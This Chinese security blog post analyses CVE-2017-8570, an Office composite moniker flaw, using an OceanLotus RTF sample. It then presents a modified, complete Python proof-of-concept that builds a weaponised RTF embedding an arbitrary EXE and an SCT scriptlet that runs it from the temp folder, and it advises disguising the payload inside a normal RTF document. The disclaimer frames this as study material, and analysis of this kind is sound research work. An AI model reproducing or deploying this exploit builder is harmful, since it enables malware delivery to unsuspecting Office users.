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CVE-2017-8570及利用样本分析

注意事项:
1.本文由Gcow安全团队复眼小组的ERFZE师傅原创,未经许可禁止转载
2.本文一共1100多字,13张图,预计阅读时间8分钟
3.文中提及的方法仅供参考学习,若用在实际情况而造成的损失,本团队以及本公众号概不负责
4.本篇文章的漏洞原理不是重点,主要在于利用.所以再本篇文章中提到的漏洞原理的篇幅较少
5.若本篇文章中存在说得有错误或者模糊的环节,希望各位看官可以在后台留言或者评论指出,本小组不胜感激!

0x01 漏洞概述:

CVE-2017-8570实际上是一逻辑漏洞,该漏洞利用了OLEComposite Moniker对象在组合File Moniker对象的过程中,未做安全性检查,以致可以直接运行File Moniker对象指定的ScriptletFile(.sct)脚本文件。

0x02 样本分析:

以海莲花组织某样本作为示例。

MD5:72bebba3542bd86dc68a36fda5dbae76

使用rtfdump工具-f O选项过滤RTF文档中的OLE对象:

图片1 rtfdump

之后结合rtfobj分析结果判断其.sct脚本文件位于第213号对象中:

图片2 rtfobj

通过-s 213 -H进行验证:

图片3 sct脚本文件

之后使用输出重定向将结果保存到一文本文件中:

图片4 保存输出结果

最后由awk命令结合正则表达式将其中的脚本内容提取出来:

图片5 提取脚本内容

注:此时可以使用Notepad++或者Sublime对脚本内容进行排版处理,以便阅读:

图片6 排版后

其功能为执行释放到临时目录下的VBS脚本文件。

0x03 样本构造:

部分样本是将EXE文件以Package对象的形式包含在RTF文档内:

图片7 EXE

之后通过SCT脚本去执行该EXE

图片8 SCT脚本

笔者针对此情况对原有POC进行了改造(完整内容见文末):

图片9 修改一

图片10 修改二

图片11 修改三

如此一来,便可将EXE文件以Package对象的形式嵌入到RTF文档中。

生成的RTF文档可以添加到正常RTF文档末尾}之前以进行伪装:

图片12 伪装

笔者用以测试的SCT脚本如下:

<?XML version="1.0"?>
<scriptlet>

<registration
  description="fjzmpcjvqp"
  progid="fjzmpcjvqp"
  version="1.00"
  classid="{204774CF-D251-4F02-855B-2BE70585184B}"
  remotable="true"
>
</registration>

<script language="JScript">
<![CDATA[

var r = new ActiveXObject("WScript.Shell").Run("%temp%\write.exe");


]]>
</script>

</scriptlet>

其中write.exeC:WindowsSystem32目录下的正常写字板程序。效果如图:

 

0x04 POC:

import argparse
import os
import struct
import random
import string

class Package(object):
   """
  Packager spec based on:
  https://phishme.com/rtf-malware-delivery/
   
  Dropping method by Haifei Li:
  https://securingtomorrow.mcafee.com/mcafee-labs/dropping-files-temp-folder-raises-security-concerns/

  Found being used itw by @MalwareParty:
  https://twitter.com/MalwareParty/status/943861021260861440
  """
   def __init__(self, filename,rand):
       if rand == True:
           self.filename = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(15)) + ".sct"
       else:
           self.filename = filename
       self.fakepath = 'C:\fakepath\{}'.format(self.filename)

       self.orgpath = self.fakepath
       self.datapath = self.fakepath

       with open(filename,'rb') as f:
           self.data = f.read()

       self.OBJ_HEAD = r"{objectobjembobjw1objh1{*objclass Package}{*objdata "
       self.OBJ_TAIL = r"0105000000000000}}"

   def get_object_header(self):
       OLEVersion = '01050000'
       FormatID = '02000000'
       ClassName = 'Package'
       szClassName = struct.pack("<I", len(ClassName) + 1).encode('hex')
       szPackageData = struct.pack("<I", len(self.get_package_data())/2).encode('hex')

       return ''.join([
           OLEVersion,
           FormatID,
           szClassName,
           ClassName.encode('hex') + '00',
           '00000000',
           '00000000',
           szPackageData,
      ])

   def get_package_data(self):  
       StreamHeader = '0200'
       Label = self.filename.encode('hex') + '00'
       OrgPath = self.orgpath.encode('hex') + '00'
       UType = '00000300'
       DataPath = self.datapath.encode('hex') + '00'
       DataPathLen = struct.pack("<I", len(self.datapath)+1).encode('hex')
       DataLen = struct.pack("<I", len(self.data)).encode('hex')
       Data = self.data.encode('hex')
       OrgPathWLen = struct.pack("<I", len(self.datapath)).encode('hex')
       OrgPathW = self.datapath.encode('utf-16le').encode('hex')
       LabelLen = struct.pack("<I", len(self.filename)).encode('hex')
       LabelW = self.filename.encode('utf-16le').encode('hex')
       DefPathWLen = struct.pack("<I", len(self.orgpath)).encode('hex')
       DefPathW = self.orgpath.encode('utf-16le').encode('hex')

       return ''.join([
           StreamHeader,
           Label,
           OrgPath,
           UType,
           DataPathLen,
           DataPath,
           DataLen,
           Data,
           OrgPathWLen,
           OrgPathW,
           LabelLen,
           LabelW,
           DefPathWLen,
           DefPathW,
      ])

   def build_package(self):
       return self.OBJ_HEAD + self.get_object_header() + self.get_package_data() + self.OBJ_TAIL

# Bypassing CVE-2017-0199 patch with Composite Moniker: https://justhaifei1.blogspot.co.uk/2017/07/bypassing-microsofts-cve-2017-0199-patch.html
EXPLOIT_RTF = r"""{{rt{0}{1}{{objectobjautlinkobjupdate{{*objclass Word.Document.8}}{{*objdata 0105000002000000090000004F4C45324C696E6B000000000000000000000A0000D0CF11E0A1B11AE1000000000000000000000000000000003E000300FEFF0900060000000000000000000000010000000100000000000000001000000200000001000000FEFFFFFF0000000000000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF52006F006F007400200045006E00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500FFFFFFFFFFFFFFFF020000000003000000000000C000000000000046000000000000000000000000704D6CA637B5D20103000000000200000000000001004F006C00650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000A000200FFFFFFFFFFFFFFFFFFFFFFFF00000000000000000000000000000000000000000000000000000000000000000000000000000000100100000000000003004F0062006A0049006E0066006F00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120002010100000003000000FFFFFFFF00000000000000000000000000000000000000000000000000000000000000000000000004000000060000000000000003004C0069006E006B0049006E0066006F000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000014000200FFFFFFFFFFFFFFFFFFFFFFFF00000000000000000000000000000000000000000000000000000000000000000000000005000000B700000000000000010000000200000003000000FEFFFFFFFEFFFFFF0600000007000000FEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF010000020900000001000000000000000000000000000000C00000000903000000000000C000000000000046020000000303000000000000C00000000000004600001A00000025544D50255C{2}000E00ADDE000000000000000000000000000000000000000038000000320000000300250054004D00500025005C00{3}C6AFABEC197FD211978E0000F8757E2A000000000000000000000000000000000000000000000000FFFFFFFF0609020000000000C00000000000004600000000FFFFFFFF0000000000000000906660A637B5D201000000000000000000000000000000000000000000000000100203000D00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000105000000000000}}}}}}"""


def build_exploit(sct,exe):
   sct_p = Package(sct,rand=True)
   sct_package = sct_p.build_package()
   exe_p = Package(exe,rand=False)
   exe_package = exe_p.build_package()
   return EXPLOIT_RTF.format(exe_package,sct_package, sct_p.filename.encode('hex'), sct_p.filename.encode('utf-16le').encode('hex'))

   
if __name__ == '__main__':
   parser = argparse.ArgumentParser(description="PoC exploit for CVE-2017-8750 (a.k.a. "composite moniker") using Packager.dll file drop method")
   parser.add_argument("-s", "--sct", help="Sct file to execute", required=True)
   parser.add_argument("-e", "--exe", help="Exe file", required=True)
   parser.add_argument('-o', "--output", help="Output file for RTF", required=True)

   args = parser.parse_args()

   with open(args.output, 'w') as f:
       f.write(build_exploit(args.sct,args.exe))    
   print "[+] RTF file written to: {}".format(args.output)

 

0x05 参考链接:

WEB安全企业安全公众号文章安全工具安全独秀圈安全管理渗透教程漏洞网络安全质量好文

HW在即——红队活动之Lnk样本载荷篇

2020-7-30 18:03:31

WEB安全企业安全公众号文章安全独秀圈安全管理漏洞系统安全网络安全质量好文

CVE-2017-0261及利用样本分析

2020-8-14 19:52:25

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